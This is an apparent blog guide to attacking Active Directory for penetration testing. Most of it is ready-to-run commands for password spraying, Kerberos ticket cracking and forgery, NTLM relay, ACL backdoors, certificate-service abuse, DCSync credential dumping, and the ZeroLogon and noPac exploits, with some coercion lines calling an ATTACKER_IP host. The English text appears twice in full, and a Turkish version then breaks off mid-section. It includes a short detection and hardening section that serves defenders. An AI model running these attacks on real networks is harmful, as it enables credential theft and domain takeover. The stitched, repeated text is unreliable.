Active Directory Security Testing: The Complete Attacker's Perspective
Mon Jun 29 2026 · 7 min read
Category: Security Research
# Active-Directory# Kerberos# Exploit# Attack-Chain# Windows
Introduction: Why Active Directory Is Always the Primary Target
Active Directory (AD) is Microsoft's enterprise identity and access management solution. Over 90% of Fortune 500 companies, government agencies, and educational institutions run on AD-based infrastructure. When a single Domain Controller (DC) is compromised, all domain resources — user accounts, servers, file shares, VPN systems, email infrastructure — fall under the attacker's influence.
This guide covers how to assess an AD environment from an attacker's perspective in the context of authorized penetration testing. Every step from enumeration to DCSync, from certificate services to trust attacks, is shown with real commands and tools.
Ethical Note: The techniques in this guide may only be used in legally authorized environments (penetration testing, CTF, personal lab). Unauthorized use on live systems carries legal consequences.
Lab Environment and Toolset
Before testing, you need to prepare your environment and tools.
Attack Platform (Kali Linux / Parrot OS):
sudo apt install bloodhound neo4j crackmapexec evil-winrm
pip3 install impacket certipy-ad
git clone https://github.com/PowerShellMafia/PowerSploit # PowerView
git clone https://github.com/ly4k/Certipy # ADCS attacks
git clone https://github.com/eladshamir/Whisker # Shadow Credentials
| Tool | Platform | Use Case |
|---|---|---|
| BloodHound + SharpHound | Linux / Windows | Attack path enumeration |
| PowerView | Windows PS | AD object queries |
| Rubeus | Windows | Kerberos ticket operations |
| Mimikatz | Windows | Hash dump, ticket injection |
| Impacket suite | Linux | DCSync, secretsdump, relay |
| CrackMapExec | Linux | SMB/WinRM/LDAP scanning |
| Certipy | Linux | ADCS (ESC1-ESC8) |
| Whisker / pywhisker | Win / Linux | Shadow Credentials |
Part 1: Enumeration
1.1 Unauthenticated Enumeration
# LDAP anonymous bind
ldapsearch -x -H ldap://10.10.10.10 -b "" -s base "(objectclass=*)" namingContexts
# Enum4linux-ng
enum4linux-ng -A 10.10.10.10
# Nmap LDAP scripts
nmap -p 389 --script ldap-rootdse,ldap-search 10.10.10.10
# Null session SMB
crackmapexec smb 10.10.10.10 -u '' -p ''
1.2 Authenticated Enumeration
# PowerView — user enumeration
Import-Module .\PowerView.ps1
Get-DomainUser -SPN | select samaccountname, serviceprincipalname
Get-DomainUser -UACFilter DONT_REQUIRE_PREAUTH | select samaccountname
Get-DomainComputer -Unconstrained | select name
# CrackMapExec
crackmapexec smb 10.10.10.10 -u jdoe -p 'Password123' --users --groups --shares
# Impacket
python3 GetADUsers.py corp.local/jdoe:Password123 -all
1.3 BloodHound Attack Path Mapping
# SharpHound collection
.\SharpHound.exe -c All --zipfilename output.zip
.\SharpHound.exe -c DCOnly # faster, DC-only queries
# BloodHound.py from Linux
python3 bloodhound.py -u jdoe -p 'Password123' -d corp.local -dc dc01.corp.local -c all --zip
Key Cypher queries:
// Shortest path to Domain Admin
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p
// Kerberoastable accounts
MATCH (u:User {hasspn:true, enabled:true}) RETURN u.name, u.serviceprincipalnames
// AS-REP Roastable accounts
MATCH (u:User {dontreqpreauth:true, enabled:true}) RETURN u.name
// DCSync rights
MATCH p=(n)-[:DCSync]->(d:Domain) RETURN n.name, d.name
Part 2: Credential Attacks
2.1 Password Spraying
./kerbrute passwordspray -d corp.local users.txt 'Winter2024!'
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123!' --continue-on-success
Critical: Check lockoutThreshold from Get-DomainPolicy. Stay at least 2 attempts below the lockout threshold and wait 30+ minutes between sprays.
2.2 AS-REP Roasting
The DONT_REQUIRE_PREAUTH flag (bit 0x400000 in UserAccountControl) means the KDC will return an encrypted AS-REP without verifying a timestamp — that response is offline crackable.
# Impacket (Linux)
python3 GetNPUsers.py corp.local/ -no-pass -usersfile users.txt -format hashcat -outputfile asrep.txt
hashcat -m 18200 asrep.txt rockyou.txt
# Rubeus (Windows)
Rubeus.exe asreproast /nowrap /format:hashcat
msDS-SupportedEncryptionTypes: If set to 0x04 (RC4 only), the hash cracks faster. If set to 0x18 (AES256 only), expect much longer crack times.
2.3 Kerberoasting
Any authenticated domain user can request a TGS for any account with a servicePrincipalName. That ticket is encrypted with the service account's NTLM hash — crackable offline.
python3 GetUserSPNs.py corp.local/jdoe:Password123 -dc-ip 10.10.10.10 -request -outputfile tgs.txt
hashcat -m 13100 tgs.txt rockyou.txt
Rubeus.exe kerberoast /nowrap
RC4 Downgrade via msDS-SupportedEncryptionTypes: If you have GenericWrite on the target, set msDS-SupportedEncryptionTypes = 4 before requesting the TGS to force RC4 encryption (faster to crack):
Set-DomainObject -Identity svc_sql -Set @{msds-supportedencryptiontypes=4}
Rubeus.exe kerberoast /user:svc_sql /nowrap
Set-DomainObject -Identity svc_sql -Set @{msds-supportedencryptiontypes=28} # restore
2.4 NTLM Hash Capture and Relay
sudo python3 Responder.py -I eth0 -wrf
hashcat -m 5600 ntlmv2.txt wordlist.txt
# NTLM relay (SMB signing disabled targets)
python3 ntlmrelayx.py -tf targets.txt -smb2support -c "COMMAND"
Part 3: Lateral Movement
# Pass-the-Hash
python3 psexec.py -hashes :NT_HASH administrator@10.10.10.10
python3 wmiexec.py -hashes :NT_HASH administrator@10.10.10.10
evil-winrm -i 10.10.10.10 -u administrator -H NT_HASH
# Overpass-the-Hash (NT hash → TGT)
Rubeus.exe asktgt /user:administrator /rc4:HASH /ptt
# Pass-the-Ticket
Rubeus.exe dump /nowrap
Rubeus.exe ptt /ticket:BASE64_TICKET
Part 4: ACL / ACE Abuse and Attribute Manipulation
This is where AD testing gets deep. Every AD object has a DACL (Discretionary Access Control List) composed of ACEs (Access Control Entries). Certain ACEs allow low-privilege users to manipulate AD attributes directly — leading to privilege escalation without touching any "traditional" vulnerability.
| ACE | Impact |
|---|---|
GenericAll |
Full control — password reset, Shadow Creds, SPN abuse, RBCD |
GenericWrite |
Write specific attributes — SPN, scriptPath, logonScript |
WriteDACL |
Add new ACEs — give yourself DCSync or GenericAll |
WriteOwner |
Change object owner — then grant WriteDACL to yourself |
AllExtendedRights |
ForceChangePassword, read LAPS |
AddMember |
Add members to groups |
# Find interesting ACEs
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {
$_.IdentityReferenceName -match "jdoe" -and
$_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner|GenericWrite"
}
Shadow Credentials (msDS-KeyCredentialLink)
With GenericAll or GenericWrite on a user/computer, inject a certificate key into msDS-KeyCredentialLink. Authenticate via PKINIT to retrieve the NT hash without knowing or changing the password.
# Linux
python3 pywhisker.py -d corp.local -u jdoe -p 'Password123' --target svc_sql --action add
python3 gettgtpkinit.py corp.local/svc_sql -cert-pem cert.pem -key-pem key.pem svc_sql.ccache
python3 getnthash.py corp.local/svc_sql -key 'SESSION_KEY'
# Windows
Whisker.exe add /target:svc_sql
# Output: Rubeus command to get NT hash via PKINIT U2U
WriteDACL → DCSync
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity jdoe -Rights DCSync
python3 secretsdump.py corp.local/jdoe:'Password123'@10.10.10.10
AdminSDHolder and adminCount
Accounts with adminCount=1 are protected by AdminSDHolder. Adding a GenericAll ACE to CN=AdminSDHolder,CN=System,DC=corp,DC=local causes it to propagate to all protected accounts (hourly via SDProp).
Get-DomainUser -AdminCount | select samaccountname, admincount
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" -PrincipalIdentity backdoor_user -Rights All
Part 5: Kerberos Ticket Attacks
Golden Ticket
# Requires: krbtgt NTLM hash + domain SID
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXX /krbtgt:HASH /ptt
Rubeus.exe golden /rc4:KRBTGT_HASH /domain:corp.local /sid:S-1-5-21-XXX /user:Administrator /ptt
The krbtgt password must be reset twice to fully invalidate all Golden Tickets.
Silver Ticket
# No KDC contact needed — forge TGS with service account hash
kerberos::silver /user:Administrator /domain:corp.local /sid:S-1-5-21-XXX /target:dc01.corp.local /service:cifs /rc4:SVC_HASH /ptt
Diamond Ticket
Decrypt an existing real TGT, modify it, re-encrypt — looks more legitimate than a forged ticket.
Rubeus.exe diamond /rc4:KRBTGT_HASH /domain:corp.local /sid:S-1-5-21-XXX /user:lowpriv /ticket:BASE64_TGT /ptt
Part 6: Delegation Attacks
Unconstrained Delegation
Get-DomainComputer -Unconstrained | select name
Rubeus.exe monitor /interval:5 /nowrap # wait for TGTs
python3 PetitPotam.py ATTACKER_IP DC01_IP # coerce DC to authenticate
Rubeus.exe ptt /ticket:BASE64_DC_TGT
Constrained Delegation (S4U2Self + S4U2Proxy)
Get-DomainUser -TrustedToAuth | select samaccountname, msds-allowedtodelegateto
Rubeus.exe s4u /user:svc_web /rc4:HASH /impersonateuser:Administrator /msdsspn:CIFS/DC01.corp.local /ptt
RBCD (msDS-AllowedToActOnBehalfOfOtherIdentity)
# Requires: GenericWrite on target computer
New-MachineAccount -MachineAccount FAKEMACHINE -Password (ConvertTo-SecureString 'FakePass123!' -AsPlainText -Force)
$sid = (Get-DomainComputer FAKEMACHINE).objectsid
$sd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$sid)"
$sdBytes = New-Object byte[] ($sd.BinaryLength); $sd.GetBinaryForm($sdBytes, 0)
Set-DomainComputer TARGET_COMPUTER -Set @{'msds-allowedtoactonbehalfofotheridentity'=$sdBytes}
Rubeus.exe s4u /user:FAKEMACHINE$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/TARGET_COMPUTER.corp.local /ptt
Key attribute: msDS-MachineAccountQuota (default 10) — allows domain users to create machine accounts, enabling this attack.
Part 7: AD Certificate Services (ADCS) Attacks
ESC1 — ENROLLEE_SUPPLIES_SUBJECT + Client Auth
certipy find -u jdoe@corp.local -p 'Password123' -dc-ip 10.10.10.10 -vulnerable -stdout
certipy req -u jdoe@corp.local -p 'Password123' -ca CORP-CA -template VulnerableTemplate -upn administrator@corp.local
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
ESC8 — NTLM Relay to ADCS HTTP
python3 ntlmrelayx.py -t http://ca01.corp.local/certsrv/certfnsh.asp --adcs --template DomainController
python3 PetitPotam.py ATTACKER_IP DC01_IP
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10
python3 secretsdump.py -hashes :DC01_HASH 'corp.local/DC01$@10.10.10.10'
Part 8: DCSync and Domain Compromise
# Required rights: DS-Replication-Get-Changes + DS-Replication-Get-Changes-All
python3 secretsdump.py corp.local/jdoe:'Password123'@10.10.10.10 -just-dc-ntlm
lsadump::dcsync /domain:corp.local /user:krbtgt
# ntds.dit via Volume Shadow Copy
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\
reg save HKLM\SYSTEM C:\temp\SYSTEM.hive
python3 secretsdump.py -ntds ntds.dit -system SYSTEM.hive LOCAL
Part 9: Critical CVEs
ZeroLogon (CVE-2020-1472)
AES-CFB8 IV=0 trick in Netlogon's NetrServerAuthenticate3 allows unauthenticated machine account password reset with ~256 attempts.
python3 cve-2020-1472-exploit.py DC01 10.10.10.10
python3 secretsdump.py -no-pass -just-dc corp.local/'DC01$'@10.10.10.10
# ALWAYS restore original password
python3 restorepassword.py corp.local/DC01@10.10.10.10 -hexpass ORIGINAL_HEX
noPac (CVE-2021-42278 + CVE-2021-42287)
sAMAccountName spoofing: rename machine account to match a DC name, get TGT, rename account, KDC falls back to DC machine account.
python3 noPac.py corp.local/jdoe:'Password123' -dc-ip 10.10.10.10 -dc-host DC01 --dump --impersonate administrator
PetitPotam (CVE-2021-36942)
MS-EFSR EfsRpcOpenFileRaw coerces any Windows machine to NTLM authenticate to the attacker. Pairs with ESC8 for instant domain compromise.
python3 PetitPotam.py ATTACKER_IP DC01_IP
Part 10: Defense and Detection
Key Windows Event IDs:
| Event ID | Attack Detected |
|---|---|
| 4769 (EncryptionType = RC4 = 0x17) | Kerberoasting |
| 4768 (PreAuthType = 0) | AS-REP Roasting |
| 4662 (Object Type: DS-Replication) | DCSync |
| 4738 / 5136 | Attribute manipulation |
| 4742 | Computer account modified (RBCD/noPac) |
| 4625 bursts | Password spray |
Hardening Checklist:
- Use gMSA for service accounts (eliminates Kerberoasting)
- Enforce AES-only Kerberos (
msDS-SupportedEncryptionTypes = 24) - Set
msDS-MachineAccountQuota = 0(eliminates RBCD) - Enable SMB signing (eliminates NTLM relay)
- Enable LDAP signing + channel binding
- Enable Credential Guard (eliminates LSASS hash extraction)
- Audit ADCS templates with certipy regularly
- Disable Print Spooler where unnecessary (PrintNightmare, coercion)
- Apply Protected Users group to privileged accounts
- Implement PAM/Tier model
References:
- SpecterOps "Certified Pre-Owned" — Will Schroeder & Lee Christensen (2021)
- "An Ace Up the Sleeve" — Andy Robbins & Will Schroeder (2017)
- "Shadow Credentials" — Elad Shamir (2021)
- "Not A Security Boundary" — harmj0y / Andy Robbins
- Microsoft MSRC CVE-2020-1472, CVE-2021-36942, CVE-2021-42278/42287
Introduction: Why Active Directory Is Always the Primary Target
Active Directory (AD) is Microsoft's enterprise identity and access management solution. Over 90% of Fortune 500 companies, government agencies, and educational institutions run on AD-based infrastructure. When a single Domain Controller (DC) is compromised, all domain resources — user accounts, servers, file shares, VPN systems, email infrastructure — fall under the attacker's influence.
This guide covers how to assess an AD environment from an attacker's perspective in the context of authorized penetration testing. Every step from enumeration to DCSync, from certificate services to trust attacks, is shown with real commands and tools.
Ethical Note: The techniques in this guide may only be used in legally authorized environments (penetration testing, CTF, personal lab). Unauthorized use on live systems carries legal consequences.
Lab Environment and Toolset
Before testing, you need to prepare your environment and tools.
Attack Platform (Kali Linux / Parrot OS):
sudo apt install bloodhound neo4j crackmapexec evil-winrm
pip3 install impacket certipy-ad
git clone https://github.com/PowerShellMafia/PowerSploit # PowerView
git clone https://github.com/ly4k/Certipy # ADCS attacks
git clone https://github.com/eladshamir/Whisker # Shadow Credentials
| Tool | Platform | Use Case |
|---|---|---|
| BloodHound + SharpHound | Linux / Windows | Attack path enumeration |
| PowerView | Windows PS | AD object queries |
| Rubeus | Windows | Kerberos ticket operations |
| Mimikatz | Windows | Hash dump, ticket injection |
| Impacket suite | Linux | DCSync, secretsdump, relay |
| CrackMapExec | Linux | SMB/WinRM/LDAP scanning |
| Certipy | Linux | ADCS (ESC1-ESC8) |
| Whisker / pywhisker | Win / Linux | Shadow Credentials |
Part 1: Enumeration
1.1 Unauthenticated Enumeration
# LDAP anonymous bind
ldapsearch -x -H ldap://10.10.10.10 -b "" -s base "(objectclass=*)" namingContexts
# Enum4linux-ng
enum4linux-ng -A 10.10.10.10
# Nmap LDAP scripts
nmap -p 389 --script ldap-rootdse,ldap-search 10.10.10.10
# Null session SMB
crackmapexec smb 10.10.10.10 -u '' -p ''
1.2 Authenticated Enumeration
# PowerView — user enumeration
Import-Module .\PowerView.ps1
Get-DomainUser -SPN | select samaccountname, serviceprincipalname
Get-DomainUser -UACFilter DONT_REQUIRE_PREAUTH | select samaccountname
Get-DomainComputer -Unconstrained | select name
# CrackMapExec
crackmapexec smb 10.10.10.10 -u jdoe -p 'Password123' --users --groups --shares
# Impacket
python3 GetADUsers.py corp.local/jdoe:Password123 -all
1.3 BloodHound Attack Path Mapping
# SharpHound collection
.\SharpHound.exe -c All --zipfilename output.zip
.\SharpHound.exe -c DCOnly # faster, DC-only queries
# BloodHound.py from Linux
python3 bloodhound.py -u jdoe -p 'Password123' -d corp.local -dc dc01.corp.local -c all --zip
Key Cypher queries:
// Shortest path to Domain Admin
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p
// Kerberoastable accounts
MATCH (u:User {hasspn:true, enabled:true}) RETURN u.name, u.serviceprincipalnames
// AS-REP Roastable accounts
MATCH (u:User {dontreqpreauth:true, enabled:true}) RETURN u.name
// DCSync rights
MATCH p=(n)-[:DCSync]->(d:Domain) RETURN n.name, d.name
Part 2: Credential Attacks
2.1 Password Spraying
./kerbrute passwordspray -d corp.local users.txt 'Winter2024!'
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123!' --continue-on-success
Critical: Check lockoutThreshold from Get-DomainPolicy. Stay at least 2 attempts below the lockout threshold and wait 30+ minutes between sprays.
2.2 AS-REP Roasting
The DONT_REQUIRE_PREAUTH flag (bit 0x400000 in UserAccountControl) means the KDC will return an encrypted AS-REP without verifying a timestamp — that response is offline crackable.
# Impacket (Linux)
python3 GetNPUsers.py corp.local/ -no-pass -usersfile users.txt -format hashcat -outputfile asrep.txt
hashcat -m 18200 asrep.txt rockyou.txt
# Rubeus (Windows)
Rubeus.exe asreproast /nowrap /format:hashcat
msDS-SupportedEncryptionTypes: If set to 0x04 (RC4 only), the hash cracks faster. If set to 0x18 (AES256 only), expect much longer crack times.
2.3 Kerberoasting
Any authenticated domain user can request a TGS for any account with a servicePrincipalName. That ticket is encrypted with the service account's NTLM hash — crackable offline.
python3 GetUserSPNs.py corp.local/jdoe:Password123 -dc-ip 10.10.10.10 -request -outputfile tgs.txt
hashcat -m 13100 tgs.txt rockyou.txt
Rubeus.exe kerberoast /nowrap
RC4 Downgrade via msDS-SupportedEncryptionTypes: If you have GenericWrite on the target, set msDS-SupportedEncryptionTypes = 4 before requesting the TGS to force RC4 encryption (faster to crack):
Set-DomainObject -Identity svc_sql -Set @{msds-supportedencryptiontypes=4}
Rubeus.exe kerberoast /user:svc_sql /nowrap
Set-DomainObject -Identity svc_sql -Set @{msds-supportedencryptiontypes=28} # restore
2.4 NTLM Hash Capture and Relay
sudo python3 Responder.py -I eth0 -wrf
hashcat -m 5600 ntlmv2.txt wordlist.txt
# NTLM relay (SMB signing disabled targets)
python3 ntlmrelayx.py -tf targets.txt -smb2support -c "COMMAND"
Part 3: Lateral Movement
# Pass-the-Hash
python3 psexec.py -hashes :NT_HASH administrator@10.10.10.10
python3 wmiexec.py -hashes :NT_HASH administrator@10.10.10.10
evil-winrm -i 10.10.10.10 -u administrator -H NT_HASH
# Overpass-the-Hash (NT hash → TGT)
Rubeus.exe asktgt /user:administrator /rc4:HASH /ptt
# Pass-the-Ticket
Rubeus.exe dump /nowrap
Rubeus.exe ptt /ticket:BASE64_TICKET
Part 4: ACL / ACE Abuse and Attribute Manipulation
This is where AD testing gets deep. Every AD object has a DACL (Discretionary Access Control List) composed of ACEs (Access Control Entries). Certain ACEs allow low-privilege users to manipulate AD attributes directly — leading to privilege escalation without touching any "traditional" vulnerability.
| ACE | Impact |
|---|---|
GenericAll |
Full control — password reset, Shadow Creds, SPN abuse, RBCD |
GenericWrite |
Write specific attributes — SPN, scriptPath, logonScript |
WriteDACL |
Add new ACEs — give yourself DCSync or GenericAll |
WriteOwner |
Change object owner — then grant WriteDACL to yourself |
AllExtendedRights |
ForceChangePassword, read LAPS |
AddMember |
Add members to groups |
# Find interesting ACEs
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {
$_.IdentityReferenceName -match "jdoe" -and
$_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner|GenericWrite"
}
Shadow Credentials (msDS-KeyCredentialLink)
With GenericAll or GenericWrite on a user/computer, inject a certificate key into msDS-KeyCredentialLink. Authenticate via PKINIT to retrieve the NT hash without knowing or changing the password.
# Linux
python3 pywhisker.py -d corp.local -u jdoe -p 'Password123' --target svc_sql --action add
python3 gettgtpkinit.py corp.local/svc_sql -cert-pem cert.pem -key-pem key.pem svc_sql.ccache
python3 getnthash.py corp.local/svc_sql -key 'SESSION_KEY'
# Windows
Whisker.exe add /target:svc_sql
# Output: Rubeus command to get NT hash via PKINIT U2U
WriteDACL → DCSync
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity jdoe -Rights DCSync
python3 secretsdump.py corp.local/jdoe:'Password123'@10.10.10.10
AdminSDHolder and adminCount
Accounts with adminCount=1 are protected by AdminSDHolder. Adding a GenericAll ACE to CN=AdminSDHolder,CN=System,DC=corp,DC=local causes it to propagate to all protected accounts (hourly via SDProp).
Get-DomainUser -AdminCount | select samaccountname, admincount
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" -PrincipalIdentity backdoor_user -Rights All
Part 5: Kerberos Ticket Attacks
Golden Ticket
# Requires: krbtgt NTLM hash + domain SID
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXX /krbtgt:HASH /ptt
Rubeus.exe golden /rc4:KRBTGT_HASH /domain:corp.local /sid:S-1-5-21-XXX /user:Administrator /ptt
The krbtgt password must be reset twice to fully invalidate all Golden Tickets.
Silver Ticket
# No KDC contact needed — forge TGS with service account hash
kerberos::silver /user:Administrator /domain:corp.local /sid:S-1-5-21-XXX /target:dc01.corp.local /service:cifs /rc4:SVC_HASH /ptt
Diamond Ticket
Decrypt an existing real TGT, modify it, re-encrypt — looks more legitimate than a forged ticket.
Rubeus.exe diamond /rc4:KRBTGT_HASH /domain:corp.local /sid:S-1-5-21-XXX /user:lowpriv /ticket:BASE64_TGT /ptt
Part 6: Delegation Attacks
Unconstrained Delegation
Get-DomainComputer -Unconstrained | select name
Rubeus.exe monitor /interval:5 /nowrap # wait for TGTs
python3 PetitPotam.py ATTACKER_IP DC01_IP # coerce DC to authenticate
Rubeus.exe ptt /ticket:BASE64_DC_TGT
Constrained Delegation (S4U2Self + S4U2Proxy)
Get-DomainUser -TrustedToAuth | select samaccountname, msds-allowedtodelegateto
Rubeus.exe s4u /user:svc_web /rc4:HASH /impersonateuser:Administrator /msdsspn:CIFS/DC01.corp.local /ptt
RBCD (msDS-AllowedToActOnBehalfOfOtherIdentity)
# Requires: GenericWrite on target computer
New-MachineAccount -MachineAccount FAKEMACHINE -Password (ConvertTo-SecureString 'FakePass123!' -AsPlainText -Force)
$sid = (Get-DomainComputer FAKEMACHINE).objectsid
$sd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$sid)"
$sdBytes = New-Object byte[] ($sd.BinaryLength); $sd.GetBinaryForm($sdBytes, 0)
Set-DomainComputer TARGET_COMPUTER -Set @{'msds-allowedtoactonbehalfofotheridentity'=$sdBytes}
Rubeus.exe s4u /user:FAKEMACHINE$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/TARGET_COMPUTER.corp.local /ptt
Key attribute: msDS-MachineAccountQuota (default 10) — allows domain users to create machine accounts, enabling this attack.
Part 7: AD Certificate Services (ADCS) Attacks
ESC1 — ENROLLEE_SUPPLIES_SUBJECT + Client Auth
certipy find -u jdoe@corp.local -p 'Password123' -dc-ip 10.10.10.10 -vulnerable -stdout
certipy req -u jdoe@corp.local -p 'Password123' -ca CORP-CA -template VulnerableTemplate -upn administrator@corp.local
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
ESC8 — NTLM Relay to ADCS HTTP
python3 ntlmrelayx.py -t http://ca01.corp.local/certsrv/certfnsh.asp --adcs --template DomainController
python3 PetitPotam.py ATTACKER_IP DC01_IP
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10
python3 secretsdump.py -hashes :DC01_HASH 'corp.local/DC01$@10.10.10.10'
Part 8: DCSync and Domain Compromise
# Required rights: DS-Replication-Get-Changes + DS-Replication-Get-Changes-All
python3 secretsdump.py corp.local/jdoe:'Password123'@10.10.10.10 -just-dc-ntlm
lsadump::dcsync /domain:corp.local /user:krbtgt
# ntds.dit via Volume Shadow Copy
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\
reg save HKLM\SYSTEM C:\temp\SYSTEM.hive
python3 secretsdump.py -ntds ntds.dit -system SYSTEM.hive LOCAL
Part 9: Critical CVEs
ZeroLogon (CVE-2020-1472)
AES-CFB8 IV=0 trick in Netlogon's NetrServerAuthenticate3 allows unauthenticated machine account password reset with ~256 attempts.
python3 cve-2020-1472-exploit.py DC01 10.10.10.10
python3 secretsdump.py -no-pass -just-dc corp.local/'DC01$'@10.10.10.10
# ALWAYS restore original password
python3 restorepassword.py corp.local/DC01@10.10.10.10 -hexpass ORIGINAL_HEX
noPac (CVE-2021-42278 + CVE-2021-42287)
sAMAccountName spoofing: rename machine account to match a DC name, get TGT, rename account, KDC falls back to DC machine account.
python3 noPac.py corp.local/jdoe:'Password123' -dc-ip 10.10.10.10 -dc-host DC01 --dump --impersonate administrator
PetitPotam (CVE-2021-36942)
MS-EFSR EfsRpcOpenFileRaw coerces any Windows machine to NTLM authenticate to the attacker. Pairs with ESC8 for instant domain compromise.
python3 PetitPotam.py ATTACKER_IP DC01_IP
Part 10: Defense and Detection
Key Windows Event IDs:
| Event ID | Attack Detected |
|---|---|
| 4769 (EncryptionType = RC4 = 0x17) | Kerberoasting |
| 4768 (PreAuthType = 0) | AS-REP Roasting |
| 4662 (Object Type: DS-Replication) | DCSync |
| 4738 / 5136 | Attribute manipulation |
| 4742 | Computer account modified (RBCD/noPac) |
| 4625 bursts | Password spray |
Hardening Checklist:
- Use gMSA for service accounts (eliminates Kerberoasting)
- Enforce AES-only Kerberos (
msDS-SupportedEncryptionTypes = 24) - Set
msDS-MachineAccountQuota = 0(eliminates RBCD) - Enable SMB signing (eliminates NTLM relay)
- Enable LDAP signing + channel binding
- Enable Credential Guard (eliminates LSASS hash extraction)
- Audit ADCS templates with certipy regularly
- Disable Print Spooler where unnecessary (PrintNightmare, coercion)
- Apply Protected Users group to privileged accounts
- Implement PAM/Tier model
References:
- SpecterOps "Certified Pre-Owned" — Will Schroeder & Lee Christensen (2021)
- "An Ace Up the Sleeve" — Andy Robbins & Will Schroeder (2017)
- "Shadow Credentials" — Elad Shamir (2021)
- "Not A Security Boundary" — harmj0y / Andy Robbins
- Microsoft MSRC CVE-2020-1472, CVE-2021-36942, CVE-2021-42278/42287
Giriş: Neden Active Directory Her Zaman Birincil Hedef?
Active Directory (AD), Microsoft'un kurumsal kimlik ve erişim yönetimi çözümüdür. Fortune 500 şirketlerinin %90'ından fazlası, devlet kurumları ve eğitim kurumları AD tabanlı altyapı üzerine kuruludur. Tek bir Domain Controller (DC) ele geçirildiğinde tüm domain kaynakları — kullanıcı hesapları, sunucular, dosya paylaşımları, VPN sistemleri, e-posta altyapısı — saldırganın etkisine girer.
Bu rehber, yetkili penetrasyon testi bağlamında bir AD ortamını saldırgan perspektifinden nasıl değerlendireceğinizi ele alır. Enumeration'dan DCSync'e, sertifika servislerinden trust saldırılarına kadar her adım, gerçek komutlar ve araçlarla gösterilmiştir.
Etik Not: Bu kılavuzdaki teknikler yalnızca yasal izin alınmış ortamlarda (penetrasyon testi, CTF, kişisel lab) kullanılmalıdır. İzinsiz sistemlere uygulanması hukuki sonuçlar doğurur.
Lab Ortamı ve Araç Seti
Testlere başlamadan önce ortamı ve araçları hazırlamak gerekir.
Saldırı Platformu (Kali Linux / Parrot OS):
# Temel araç seti kurulumu
sudo apt install bloodhound neo4j crackmapexec evil-winrm
pip3 install impacket certipy-ad
git clone https://github.com/PowerShellMafia/PowerSploit # PowerView
git clone https://github.com/GhostPack/Rubeus # Rubeus (derleme gerekli)
git clone https://github.com/Sw4mpf0x/PowerMad # PowerMad (makine hesabı oluşturma)
git clone https://github.com/ly4k/Certipy # ADCS saldırıları
git clone https://github.com/eladshamir/Whisker # Shadow Credentials
Temel Araçlar Tablosu:
| Araç | Platform | Kullanım Alanı |
|---|---|---|
| BloodHound + SharpHound | Linux / Windows | Attack path enumeration |
| PowerView (PowerSploit) | Windows PS | AD object sorguları |
| Rubeus | Windows | Kerberos ticket işlemleri |
| Mimikatz | Windows | Hash dump, ticket inject |
| Impacket suite | Linux | DCSync, secretsdump, relay |
| CrackMapExec (CME) | Linux | SMB/WinRM/LDAP tarama |
| Certipy | Linux | ADCS (ESC1-ESC8) |
| Whisker / pywhisker | Win / Linux | Shadow Credentials |
| PowerMad | Windows PS | Machine account oluşturma |
| Responder | Linux | NTLM hash yakalama |
| PetitPotam | Linux | NTLM coercion |
Bölüm 1: Keşif ve Numaralandırma (Enumeration)
Numaralandırma, bir AD testinin en kritik aşamasıdır. Yanlış bir numaralandırma, gerçek attack path'lerin gözden kaçmasına neden olur.
1.1 Kimlik Doğrulamasız (Unauthenticated) Numaralandırma
İlk adımda, hiçbir credential olmadan ne kadar bilgiye ulaşabileceğimizi test ederiz.
# LDAP Anonymous Bind — DC keşfi ve base DN tespiti
ldapsearch -x -H ldap://10.10.10.10 -b "" -s base "(objectclass=*)" namingContexts
# Eğer anonymous bind açıksa: DC=corp,DC=local altını listele
ldapsearch -x -H ldap://10.10.10.10 -b "DC=corp,DC=local" "(objectclass=user)" sAMAccountName
# Enum4linux-ng — kapsamlı SMB/RPC/LDAP numaralandırma
enum4linux-ng -A 10.10.10.10
# CrackMapExec — null session testi
crackmapexec smb 10.10.10.10 -u '' -p ''
crackmapexec smb 10.10.10.10 -u 'guest' -p ''
# Nmap LDAP scriptleri
nmap -p 389,636 --script ldap-rootdse,ldap-search --script-args ldap.base='"DC=corp,DC=local"' 10.10.10.10
# NetBIOS ve SMB keşfi
nbtscan 10.10.10.0/24
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt
Null session başarılı olursa:
- Domain adı, DC hostnames
- NetBIOS/FQDN bilgisi
- Paylaşılan klasörler (SYSVOL, NETLOGON)
- Kullanıcı listesi (RID bruteforce ile)
1.2 Kimlik Doğrulamalı (Authenticated) Numaralandırma
Herhangi bir domain hesabı (hatta düşük yetkili) ile çok daha fazla bilgiye ulaşılır.
# PowerView — temel domain bilgisi
Import-Module .\PowerView.ps1
Get-Domain
Get-DomainController
Get-DomainPolicy
